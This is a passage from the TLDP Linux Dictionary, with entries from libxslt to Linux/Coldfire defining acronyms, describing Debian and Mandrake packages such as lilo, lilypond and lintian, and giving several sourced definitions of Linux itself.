This C library allows to transform XML files into other XML files (or HTML, text, ...) using the standard XSLT stylesheet transformation mechanism. A xslt processor based on this library, named xsltproc, is provided by the libxslt-proc package. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIC

Licensed Internal Code From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

licq

Licq supports different interfaces and functions viaplugins. Currently there are plugins for both the X Windowing System and the console. This package contains the base files for Licq (the Licq daemon) and the Qt plugin, which is written using the Qt widget set. Currently this GUI plugin has most of the ICQ functions implemented. This starts the Qt plugin by default, so to run other plugins, you will have to issue the command "licq -p <plugin>" once. To get back the Qt plugin, you will have to run once "licq -p qt-gui". Alternatively you may be able to do it in a plugin dialog box if your plugin supports this feature. This version of licq has SSL support for those plugins that support it. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

liece

IRC (Internet Relay Chat) client for Emacs. Liece is based on Irchat, simple IRC client running under Emacsen, nevertheless nothing to do with irchat-2.4jp which has various features added by Japanese contributors (e.g. Mule support, channel buffers). We are going to full-replace to redesign thoroughly, and to stand up to extension against arbitrary protocol backend. The most recent version of this program has been almost completely rewritten from Irchat. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

liece-dcc

DCC program for liece. This program is DCC(Direct Client Connection) program for liece. Dcc is implemented not with EmacsLisp, but with C, so dcc package has been divided. And included "ltpc" which is connection support program, can use IPv6. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIF

Low Insertion Force (IC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIFD

Last In First Drop From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIFE

Laboratory for International Fuzzy Engineering [research] (MITI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIFE

Logistics Interface For manufacturing Environment From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lifelines

Text-based genealogy software LifeLines is a genealogy program that runs on UNIX systems in text mode. It maintains genealogical records (persons, families, sources, events and others) in a database, and generates reports from those records. There are no practical limits on the number of records that can be stored in a LifeLines database, nor on the amounts or kinds of data that can be kept in the records. LifeLines does not contain built-in reports. Instead it provides a programming subsystem that you use to program your own reports and charts. Some standard report files are included in the lifelines-reports package. The programming subsystem also lets you query your databases and process your data in any way. LifeLines uses the terminal independent features of UNIX to provide a screen and menu based user interface. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lifelines-reports

Reports for lifelines, a genealogy software system Lifelines has a very powerful reporting language. This package includes all "standard" reports, which come with the official Lifelines distribution. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIFO

Last In First Out From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lightlab

experiment with the OpenGL lighting model lightlab lets you set the colours and positions of several light sources, and then watch the effect that it has on a simple 3D scene. You can select whether the scene contains a rotating cube, sphere, or teapot, and whether that object has a texture image on its surface. lightlab is not a modelling program; it doesn't even let you save anything. But if you're having trouble wrapping your brain around the various parameters you can set in OpenGL code, you may find it helpful. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lightspeed

Shows how objects moving at relativistic speeds look like. Light Speed! is an OpenGL-based program which illustrates the effects of special relativity on the appearance of moving objects. When an object accelerates past a few million meters per second, these effects begin to grow noticeable, becoming more and more pronounced as the speed of light is approached. These relativistic effects are viewpoint-dependent, and include shifts in length, object hue, brightness and shape. The moving object is, by default, a geometric lattice. 3D Studio and LightWave 3D objects may be imported as well. Best of all, the simulator is completely interactive, rendering the exotic distortions in real-time! From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lightweight Directory Access Protocol (LDAP)

An online directory service protocol defined by the Internet Engineering Task Force (IETF). An LDAP directory entry is a collection of attributes with a unique identifier, or distinguished name (DN). The directory system has a hierarchical structure. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lightweight processes

See threaded code. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LJJP

Leaf Initiated Join Parameter From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIKS

Lietuvos kompiuterininko Sajunga (org., Litauen) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LILO

A versatile boot loader for Linux. It does not depend on a specific file system, can boot Linux kernel images from floppy disks and from hard disks and can even act as a boot manager" for other operating systems. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lilo

install boot loader From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lilo

LILLO (Linux LOader) is a basic system program which boots your Linux system. LILO loads the Linux kernel from a floppy or a hard drive, boots the kernel and passes control of the system to the kernel. LILO can also boot other operating systems. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lilo

Linux LOader – The Classic OS loader can load Linux and others This Package contains lilo (the installer) and boot-record-images to install Linux, OS/2, DOS and generic Boot Sectors of other OSes. You can use Lilo to manage your Master Boot Record (with a simple text screen, text menu or colorful splash graphics) or call Lilo from other Boot-Loaders to jump-start the Linux kernel. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LILLO

Linux [boot] LOader (Linux) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lilo-config

lilo configuration plugin for KDE lilo-config is a kcontrol plugin for configuring LILO, the most commonly used Linux boot loader. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lilo.real

install boot loader From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

liloconfig

interactive configure script for lilo From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lilypond

A program for printing sheet music. LilyPond is a music typesetter. It produces beautiful sheet music using a high level description file as input. LilyPond is part of the GNU Project. URLs:

<http://www.cs.uu.nl/~hanwen/lilypond/> <http://www.xs4all.nl/~jantien/lilypond/>

<http://sca.uwaterloo.ca/lilypond/> <http://www.lilypond.org/> Authors: Han-Wen Nienhuys

<hanwen@cs.uu.nl> Jan Nieuwenhuizen <janneke@gnu.org> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIM

Lotus – Intel – Microsoft (manufacturer) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIMAD

Linear MAgnetic Drive [technology] From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIMDOW

Laser / Light Intensity Modulation, Direct OverWrite (MOD) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIMEMS

Lotus – Intel – Microsoft Expanded Memory Specification (Lotus, Intel, MS, EMS), "LIM EMS"
From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

limo

Lists files in a custom way limo is a replacement for ls with some knobs on. By default, it is installed as both limo and as li. It tries to give far more control over the output format than ls and has simpler and more straightforward (albeit more verbose) options. It also has the `-l` and `-s` options which behave similarly to those of ls. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linbot

WWW site link checker linbot is a python program that allows webmasters to: view the structure of a site; track down broken links; find potentially outdated HTML pages; list links pointing to external sites; view portfolio of inline images; and do all this periodically and without user intervention.

Results are displayed in a set of HTML pages. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linc

linc is a library that eases the task of writing networked servers & clients. It takes care of connection initiation and maintenance, and the details of various transports. It is used by ORBit2 to handle message transmission/receipt. Currently supported transports:

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lincity

Build & maintain a city/country You are required to build and maintain a city. You must feed, house, provide jobs and goods for your residents. You can build a sustainable economy with the help of renewable energy and recycling, or you can go for broke and build rockets to escape from a pollution ridden and resource starved planet, it's up to you. Due to the finite resources available in any one place, this is not a game that you can leave for long periods of time. This game is similar to the commercial simulation game with a similar name. This package provides files common to both the X and SVGALIB versions of the game. To get the actual game binary, install either lincity-x or lincity-svgalib (or both). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lincredits

Generate nicely-formatted versions of the Linux CREDITS file This small package allows anyone to create beautified versions of the Linux CREDITS file in plain text, LaTeX or HTML formats. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lincvs

graphical CVS frontend LinCVS enhances the ease-of-use of CVS (Concurrent Versions System) by providing a simple, intuitive graphic interface to CVS. With the GUI and mouse, you can quickly and easily review the CVS status of files or groups of files or of entire directory trees. You can also quickly initiate common CVS commands without the need for typing long command lines with many option flags. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LindowsOS

LindowsOS is a product of Lindows.com, first announced in October 2001. This is a Debian-based distribution targeted at non-technical Windows users and boasts a 10 minute installation. Starting with version 4.0, there is also a LindowsCD, a Knoppix-like live CD. Version 4.0 was released June 23, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linesrv

A server to remotely control the internet connection. LineControl runs a server application on a masquerading – server (Linux). Clients on other hosts may now talk to this server and say that it should establish a certain line (usually using pppd/chat, isdnctrl or some other script). LineControl Server then calls a certain shellscript and waits until a specified network – device is up (for analog lines), until /dev/isdninfo changes its status (if using the ISDN capabilities) or until a certain file

exists. Then it sends to all connected Clients a message that the connection is established. The connection won't get killed until each client told to do so, had a timeout or has been terminated. LineControl provides a nice status monitor via two easy to use cgi-bin pages. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LinEx

Developed by the Extremadura Regional Government, LinEx is a GNU/Linux distribution based on Debian and Gnome. LinEx forms part of a wider regional project which aims at promoting the Information Society in order to improve citizens' quality of life. Spanish distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

link

A symbolic link (alias in MacOS and shortcut under Windows) is a file that points to another file; this is a commonly used tool. A hard-link rarely created by the user, is a filename that points to a block of data that has several other filenames as well.

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

link

link a file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

link

make a new name for a file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linkchecker

check HTML documents for broken links Features: o recursive checking o multithreaded o output can be colored or normal text, HTML, SQL, CSV or a sitemap graph in GML or XML o HTTP/1.1, FTP, mailto:, nntp:, news:, Gopher, Telnet and local file links are supported o restrict link checking with regular expression filters for URLs o proxy support o give username/password for HTTP and FTP authorization o robots.txt exclusion protocol support o i18n support o command line interface o (Fast)CGI web interface (requires HTTP server) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linklint

Fast link checker and web site maintenance tool Linklint is a full featured Perl program for checking HTML links: * both local and remote site checking * cross referenced and fully hyperlinked output reports * the ability to check password protected areas * support for all standard server-side image maps * reports of orphan files, and files with mismatching case * a report of which URLs have changed since last checked * support of proxy servers for remote URL checking * come with full documentation. Please visit <http://www.linklint.org/> for more information. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

links

Character mode WWW browser Links is a lynx-like character mode browser. It includes support for rendering tables and frames, features background downloads, can display colors and has many other features. This version is based on eLinks, the actively developed fork of links, and contains Lua language support as well. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

links

Links is a text based WWW browser, at first look similar to Lynx, but somehow different:- renders tables and frames- displays colors as specified in current HTML page- uses drop-down menu (like in Midnight Commander)- can download files in background- partially handle Javascript From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linleech

A program to selectively download usenet articles linleech is a small, script-driven *NIX program that automates the process of downloading USENET articles. Using a small command set, linleech will search groups for articles that match given criteria and automatically download them for you. This is useful for retrieving anything from binary posts to something as specific as searching for the latest HOWTO in a Linux group. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linmodem

A Linmodem is the Linux implementation of a "winmodem" (see disclaimer). These devices are 'less than' a modem in the sense that they depend on software to perform, to a greater or lesser extent, the functions traditionally handled by modem hardware. The rationale for this is, of course, that software is cheaper than hardware, and can be upgraded/expanded/improved without the use of screwdrivers (usually); however, for the modem to function at all, one requires software that can run on one's preferred operating system. From Linmodem-HOWTO

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linneighborhood

An SMB network browser for Linux and X11. This package allows users to browse SMB (e.g. Windows Network Neighborhood) networks under X, and mount/unmount SMB shared filesystems via a graphical interface. It is somewhat more network-efficient than other similar tools because it uses the proper protocol for identifying network shares rather than simply scanning IP address ranges. In order for LinNeighborhood to work properly, you must have the smbfs filesystem compiled into your kernel and have a working Samba setup. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LinNeighborhood

LinNeighborhood is a front end to Samba using the gtk libraries. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linpac

Terminal for packet radio with mail client It is an application for the AX.25 packet radio environment. Has a mail client, and colors. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linpopup

Xwindow port of Winpopup, running over Samba This allows a linux system to communicate with a windows computer that runs Winpopup, sending or receiving message. It also provides an alternative way to communicate between Linux computers that run Samba. Note that LinPopUp is not only a port, as it includes several enhanced features. If you want to be able to send messages, you must also install smbclient. Linpopup only recommends smbclient instead of depending on it, as perhaps you want to only receive messages with it. Users of versions < 0.9.4: note that the message file has moved, and isn't compatible with the old format anymore. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linpqa

freeware compiler and decompiler for PalmVII Palm Query Apps Compiler and decompiler for PalmVII Palm Query Apps. It is written in part from documentation provided by Palm in their devzone , and in part by examining hexdumps and playing around with the de-compiler.

Unfortunately, the Palm documentation is a bit incomplete. (They tell what all of the tag tokens are, and what parameters they take, but don't give the byte values for the tag itself!). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linpsk

Program for operating PSK31/RTTY modes with X GUI linpsk is a program for operating on amateur radio digital modes. linpsk currently supports BPSK, QPSK, and RTTY modes, and it provides an X user interface. linpsk's main features are: --simultaneous decoding of up to four channels --different digital modes may be mixed --trigger text can be defined on each channel --each channel can be logged to a file --user-defined macros and two files for larger texts --spectrum and waterfall displays, both scalable in the frequency domain. At the Moment RTTY only supports 45 baud and 1.5 stopbits. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linpus Linux

Comes in Desktop, Server or Internet appliance editions. Linpus Linux 8.2 desktop and server editions were released June 27, 2002. Taiwanese distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lint

[from Unix's lint(1), named for the bits of fluff it supposedly picks from programs] 1. vt. To examine a program closely for style, language usage, and portability problems, esp. if in C, esp. if via use of automated analysis tools, most esp. if the Unix utility lint(1) is used. This term used to be restricted to use of lint(1) itself, but (judging by references on Usenet) it has become a shorthand for desk check at some non–Unix shops, even in languages other than C. Also as v. delint. 2. n. Excess verbiage in a document, as in "This draft has too much lint". From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Lintel

n. The emerging Linux/Intel alliance. This term began to be used in early 1999 after it became clear that the Wintel alliance was under increasing strain and Intel started taking stakes in Linux companies. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lintian

Debian package checker Lintian dissects Debian packages and reports bugs and policy violations. It contains automated checks for many aspects of Debian policy as well as some checks for common errors. It uses an archive directory, called laboratory, in which it stores information about the packages it examines. It can keep this information between multiple invocations in order to avoid repeating expensive data–collection operations. This also possible to check the complete Debian archive for bugs, in a reasonable time. This package is useful for all people who want to check Debian packages for compliance with Debian policy. Every Debian maintainer should check packages with this tool before uploading them to the archive. This version of Lintian is calibrated for policy version 3.1.0.0. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linu

Linu, from Korean company MIZI, is available for ARM, StrongARM, x86, and MIPS processors (so far). From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linus

/leen'us'/ or /lin'us'/, not /li:'nus/ Linus Torvalds, the author of Linux. Nobody in the hacker culture has been as readily recognized by first name alone since Ken (Thompson). From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux

<operating system> ("Linus Unix") /li'nuks/ (but see below) An implementation of the {Unix} {kernel} originally written from scratch with no proprietary code. The kernel runs on {Intel} and {Alpha} hardware in the general release, with {SPARC}, {PowerPC}, {MIPS}, {ARM}, {Amiga}, {Atari}, and {SGI} in active development. The SPARC, PowerPC, ARM, {PowerMAC} – {OSF}, and 68k ports all support {shells}, {X} and {networking}. The Intel and SPARC versions have reliable {symmetric multiprocessing}. Work on the kernel is coordinated by Linus Torvalds, who holds the copyright on a large part of it. The rest of the copyright is held by a large number of other contributors (or their employers). Regardless of the copyright ownerships, the kernel as a whole is available under the {GNU} {General Public License}. The GNU project supports Linux as its kernel until the research {Hurd} kernel is completed. This kernel would be no use without {application programs}. The GNU project has provided large numbers of quality tools, and together with other {public domain} software it is a rich Unix environment. A compilation of the Linux kernel and these tools is known as a Linux distribution. Compatibility modules and/or {emulators} exist for dozens of other computing environments. The kernel version numbers are significant: the odd numbered series (e.g. 1.3.xx) is the development (or beta) kernel which evolves very quickly. Stable (or release) kernels have even major version numbers (e.g. 1.2.xx). There is a lot of commercial support for and use of Linux, both by hardware companies such as {Digital}, {IBM}, and {Apple} and numerous smaller network and integration specialists. There are many commercially supported distributions which are generally entirely under the GPL. At least one distribution vendor guarantees {Posix} compliance. Linux is particularly popular for {Internet Service Providers}, and there are ports to both

parallel supercomputers and {embedded} {microcontrollers}. {Debian} is one popular {open source} distribution. The pronunciation of "Linux" has been a matter of much debate. Many, including Torvalds, insist on the short I pronunciation /li'nuks/ because "Linus" has an /ee/ sound in Swedish (Linus's family is part of Finland's 6% ethnic-Swedish minority) and Linus considers English short /i/ to be closer to /ee/ than English long /i:/ diphthong. This is consistent with the short I in words like "linen". This doesn't stop others demanding a long I /li:'nuks/ following the english pronunciation of "Linus" and "minus". Others say /li'niks/ following {Minix}, which Torvalds was working on before Linux. From Hyperdictionary From The Free On-line Dictionary of Computing (09 FEB 02) [foldoc] <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux

/lee'nuhks/ or /li'nuks/, not /li:'nuhks/ n. The free Unix workalike created by Linus Torvalds and friends starting about 1991. The pronunciation /lee'nuhks/ is preferred because the name `Linus' has an /ee/ sound in Swedish (Linus's family is part of Finland's 6% ethnic-Swedish minority). This may be the most remarkable hacker project in history -- an entire clone of Unix for 386, 486 and Pentium micros, distributed for free with sources over the net (ports to Alpha and Sparc and many other machines are also in use). Linux is what GNU aimed to be, and it relies on the GNU toolset. But the Free Software Foundation didn't produce the kernel to go with that toolset until 1999, which was too late. Other, similar efforts like FreeBSD and NetBSD have been technically successful but never caught fire the way Linux has; as this is written in 2000, Linux is seriously challenging Microsoft's OS dominance. It has already captured 31% of the Internet-server market and 25% of general business servers. An earlier version of this entry opined "The secret of Linux's success seems to be that Linus worked much harder early on to keep the development process open and recruit other hackers, creating a snowball effect." Truer than we knew. See bazaar. (Some people object that the name `Linux' should be used to refer only to the kernel, not the entire operating system. This claim is a proxy for an underlying territorial dispute; people who insist on the term `GNU/Linux' want the the FSF to get most of the credit for Linux because RMS and friends wrote many of its user-level tools. Neither this theory nor the term `GNU/Linux' has gained more than minority acceptance). From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux

a completely free reimplementaion of the POSIX specification, with SYSV and BSD extensions (which means it looks like Unix, but does not come from the same source code base), which is available in both source code and binary form. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux

A widely used Open Source Unix-like operating system. Linux was first released by its inventor Linus Torvalds in 1991. There are versions of Linux for almost every available type of computer hardware from desktop machines to IBM mainframes. The inner workings of Linux are open and available for anyone to examine and change as long as they make their changes available to the public. This has resulted in thousands of people working on various aspects of Linux and adaptation of Linux for a huge variety of purposes, from servers to TV-recording boxes. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux

An open source UNIX-like operating system, originally begun by Linus Torvalds. "Linux" really refers to only the operating system kernel, or core. More than 200 people have contributed to the development of the Linux kernel. The rest of a Linux distribution consists of various utilities, device drivers, applications, a user interface and other tools that generally can be compiled and run on other UNIX operating systems as well. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux

Linux is a completely free reimplementaion of the POSIX specification, with SYSV and BSD extensions (which means it looks like Unix, but does not come from the same source code base),

which is available in both source code and binary form. Its copyright is owned by Linus Torvalds <torvalds@transmeta.com> and other contributors, and is freely redistributable under the terms of the GNU General Public License (GPL). A copy of the GPL is included with the Linux source; you can also get a copy from <ftp://prep.ai.mit.edu/pub/gnu/COPYING> Linux, per se, is only the kernel of the operating system, the part that controls hardware, manages files, separates processes, and so forth. There are several combinations of Linux with sets of utilities and applications to form a complete operating system. Each of these combinations is called a distribution of Linux. The word Linux, though it in its strictest form refers specifically to the kernel, is also widely and correctly to refer to an entire operating system built around the Linux kernel. For a list and brief discription of various distributions, see <http://sunsite.unc.edu/LDP/HOWTO/Distribution-HOWTO.html> None of these distributions is "the official Linux". Linux is not public domain, nor is it 'shareware'. It is 'free' software, commonly called freeware or Open Source Software[tm] (see <http://www.opensource.org>), and you may give away or sell copies, but you must include the source code or make it available in the same way as any binaries you give or sell. If you distribute any modifications, you are legally bound to distribute the source for those modifications. See the GNU General Public License for details. Linux is still free as of version 2.0, and will continue to be free. Because of the nature of the GPL to which Linux is subject, it would be illegal for it to be made not free. Note carefully: the 'free' part involves access to the source code rather than money; it is perfectly legal to charge money for distributing Linux, so long as you also distribute the source code. This is a generalization; if you want the fine points, read the GPL. Linux runs on 386/486/Pentium machines with ISA, EISA, PCI and VLB busses. MCA (IBM's proprietary bus) is not well-supported in 2.0.x and earlier versions, but support has been added to the current development tree, 2.1.x. If you are interested, see <http://glycerine.itsmm.uni.edu/mca> There is a port to multiple Motorola 680x0 platforms (currently running on some Amigas, Ataris, and VME machines), which now works quite well. It requires a 68020 with an MMU, a 68030, 68040, or a 68060, and also requires an FPU. Networking and X now work. See <news:comp.os.linux.m68k> Linux runs well on DEC's Alpha CPU, currently supporting the "Jensen", "NoName", "Cabriolet", "Universal Desktop Box" (better known as the Multia), and many other platforms. For more information, see <http://www.azstarnet.com/~axplinux/FAQ.html> Linux runs well on Sun SPARC's; most sun4c, sun4m, and sun4u machines now run Linux, with support for sun4 in development. Red Hat Linux is (as of this writing) the only Linux distribution available for SPARC's; see <http://www.redhat.com/support/docs/rhl-sparc/> Linux is being actively ported to the PowerPC architecture, including PowerMac (Nubus and PCI), Motorola, IBM, and Be machines. See <http://www.cs.nmt.edu/~linuxppc/> and <http://www.linuxppc.org/> Ports to other machines, including MIPS (see <http://linus.linux.sgi.com> and <http://lena.fnet.fr/>) and ARM, are under way and showing various amounts of progress. Don't hold your breath, but if you are interested and able to contribute, you may well find other developers who wish to work with you. Linux is no longer considered to be in beta testing, as version 1.0 was released on March 14, 1994. There are still bugs in the system, and new bugs will creep up and be fixed as time goes on. Because Linux follows the "open development model", all new versions will be released to the public, whether or not they are considered "production quality". However, in order to help people tell whether they are getting a stable version or not, the following scheme has been implemented: Versions n.x.y, where x is an even number, are stable versions, and only bug fixes will be applied as y is incremented. So from version 1.2.2 to 1.2.3, there were only bug fixes, and no new features. Versions n.x.y, where x is an odd number, are beta-quality releases for developers only, and may be unstable and may crash, and are having new features added to them all the time. >From time to time, as the current development kernel stabilizes, it will be frozen as the new "stable" kernel, and development will continue on a new development version of the kernel. Note that most releases of the Linux kernel, beta or not, are relatively robust; "stable" in this context means "slow to change" in addition to "robust". The current stable version is 2.0.35 (this will continue to change as new device drivers get added and bugs fixed), and development has also started on the experimental 2.1.x kernels. The Linux kernel source code contains a file, Documentation/Changes, which explains changes that you should be aware of when upgrading from

one kernel version to another. However, the great majority of Linux users simply update their Linux distribution occasionally to get a new kernel version. Most versions of Linux, beta or not, are quite robust, and you can keep using those if they do what you need and you don't want to be on the bleeding edge. One site had a computer running version 0.97p1 (dating from the summer of 1992) for over 136 days without an error or crash. (It would have been longer if the backhoe operator hadn't mistaken a main power transformer for a dumpster...) Others have posted uptimes in excess of a year. One site still had a computer running Linux 0.99p15s over 600 days at last report. One thing to be aware of is that Linux is developed using an open and distributed model, instead of a closed and centralized model like much other software. This means that the current development version is always public (with up to a week or two of delay) so that anybody can use it. The result is that whenever a version with new functionality is released, it almost always contains bugs, but it also results in a very rapid development so that the bugs are found and corrected quickly, often in hours, as many people work to fix them. In contrast, the closed and centralized model means that there is only one person or team working on the project, and they only release software that they think is working well. Often this leads to long intervals between releases, long waiting for bug fixes, and slower development. The latest release of such software to the public is sometimes of higher quality, but the development speed is generally much slower. For a discussion of these two models, read "The Cathedral and the Bazaar" at <http://sagan.earthspace.net/~esr/writings/cathedral-bazaar/> by Eric Raymond. As of September 1, 1998, the current stable version of Linux is 2.0.35, and the latest development version is 2.1.119. From Linux-Intro-HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux

The free Unix workalike created by Linus Torvalds and friends starting about 1991. The pronunciation /li'nuhks/ is preferred because the name 'Linus' has an /ee/ sound in Swedish (Linus's family is part of Finland's 6% ethnic-Swedish minority) and Linus considers English short /i/ to be closer to /ee/ than English long /i:/. This may be the most remarkable hacker project in history -- an entire clone of Unix for 386, 486 and Pentium micros, distributed for free with sources over the net (ports to Alpha and Sparc and many other machines are also in use). Linux is what {GNU} aimed to be, and it relies on the GNU toolset. But the Free Software Foundation didn't produce the kernel to go with that toolset until 1999, which was too late. Other, similar efforts like FreeBSD and NetBSD have been technically successful but never caught fire the way Linux has; as this is written in 2001, Linux is seriously challenging Microsoft's OS dominance. It has already captured 31% of the Internet-server market and 25% of general business servers. An earlier version of this entry opined "The secret of Linux's success seems to be that Linus worked much harder early on to keep the development process open and recruit other hackers, creating a snowball effect." Truer than we knew. See {bazaar}. (Some people object that the name 'Linux' should be used to refer only to the kernel, not the entire operating system. This claim is a proxy for an underlying territorial dispute; people who insist on the term 'GNU/Linux' want the {FSF} to get most of the credit for Linux because RMS and friends wrote many of its user-level tools. Neither this theory nor the term 'GNU/Linux' has gained more than minority acceptance). From Hyperdictionary From Jargon File (4.3.0, 30 APR 2001) [jargon] <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux

The term "Linux" refers to either full the full OS packages provided by many vendors, or specifically the kernel these packages are based upon. The packages are known as distributions or distros. Well-known Linux distros include RedHat, SuSE, TurboLinux, Trinux, etc. Most of these distros rely solely upon open-source software. Point: Linux vies with Solaris and Windows as being the most popular OS for Internet servers. Contrast: Linux is a UNIX-like operating-system, more similar to UNIX System 5 than to BSD UNIX. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux

UNIX-compatible operating system (and kernel) designed with free software tools and ported to several hardware architectures. Linux was initially developed by Linus Torvalds in 1991. Linux is open source software (OSS) and aims to be a viable alternative to competing proprietary operating systems. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Cyrillic Edition

UrbanSoft created the Linux Cyrillic Edition, Red Hat in Russian. This web site is no longer available [May 6, 2002]. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux DA OS

More info on LinuxDevices.com Empower Technologies makes this embedded OS for the Motorola Dragonball platform. Other platforms are "in the works". From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux ESware

Box sets are available, with a desktop edition and server edition. Support, classes and other services are available. Spanish distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux for Windows 9X

This is a Windows 9X friendly version of Linux. It installs onto a Windows 9X disk and allows for two way exchange of files between both Linux and Win9X. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Loader (LILO)

A legacy boot loader for the Linux operating system. LILO resides on the master boot record (MBR) of the bootable storage device and loads multiple operating systems. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux MLD

This appears to be a full distribution from Media Lab. There is also a mini-distribution, as well as other Linux products. Japanese distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux MLD From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Router Project

LRP is small enough to fit on a single 1.44MB floppy disk, and makes building and maintaining routers, access servers, thin servers, thin clients, network appliances, and typically embedded systems next to trivial. A floppy-based distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux-SIS

SIS stands for SchoolNet Internet Server and project to connect schools in Thailand. The latest version of Linux-SIS is 4.0, released October 3, 2001. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux/Coldfire

